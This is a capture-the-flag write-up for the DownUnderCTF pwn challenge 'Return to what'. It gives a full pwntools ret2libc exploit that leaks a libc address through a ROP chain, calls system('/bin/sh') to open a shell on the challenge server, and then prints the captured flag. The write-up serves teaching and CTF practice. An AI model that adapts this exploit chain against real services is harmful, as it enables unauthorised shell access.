Tags: pwn ret2libc
Rating: 2.0
# Return to what
Author: [roerohan](https://github.com/roerohan)
## Source
```
Author: Faith
This will show my friends!
nc chal.duc.tf 30003
```
## Exploit
Ret2libc ROP, but you have to find the libc version online. (I used (libc.rip)[https://libc.rip/])
```py
from pwn import *
local = False
host = 'chal.duc.tf'
port = 30003
elf = ELF('./return-to-what')
rop = ROP(elf)
if local:
p = elf.process()
libc = ELF('/usr/lib/libc.so.6')
else:
p = remote(host, port)
libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')
PUTS_PLT = elf.plt['puts']
MAIN_PLT = elf.symbols['main']
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
OFFSET = b'A' * (0x30 + 0x8)
log.info("puts@plt: " + hex(PUTS_PLT))
log.info("main@plt: " + hex(MAIN_PLT))
log.info("POP RDI: " + hex(POP_RDI))
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
rop_chain = [
POP_RDI, FUNC_GOT,
PUTS_PLT,
MAIN_PLT,
]
rop_chain = b''.join([p64(i) for i in rop_chain])
payload = OFFSET + rop_chain
print(p.clean())
print(payload)
p.sendline(payload)
received = p.recvline().strip()
leak = u64(received.ljust(8, b'\x00'))
libc.address = leak - libc.symbols[func_name]
return hex(leak)
log.info('Leak: ' + get_addr('puts'))
log.info('Libc base: ' + hex(libc.address))
BIN_SH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.symbols['system']
EXIT = libc.symbols['exit']
ROP_CHAIN = [
RET,
POP_RDI, BIN_SH,
SYSTEM,
EXIT,
]
ROP_CHAIN = b''.join([p64(i) for i in ROP_CHAIN])
payload = OFFSET + ROP_CHAIN
print(p.clean())
print(payload)
p.sendline(payload)
p.interactive()
```
You get a shell.
```bash
[*] Switching to interactive mode
$ ls
flag.txt
return-to-what
$ cat flag.txt
DUCTF{ret_pUts_ret_main_ret_where???}
```
The flag is:
```
DUCTF{ret_pUts_ret_main_ret_where???}
```
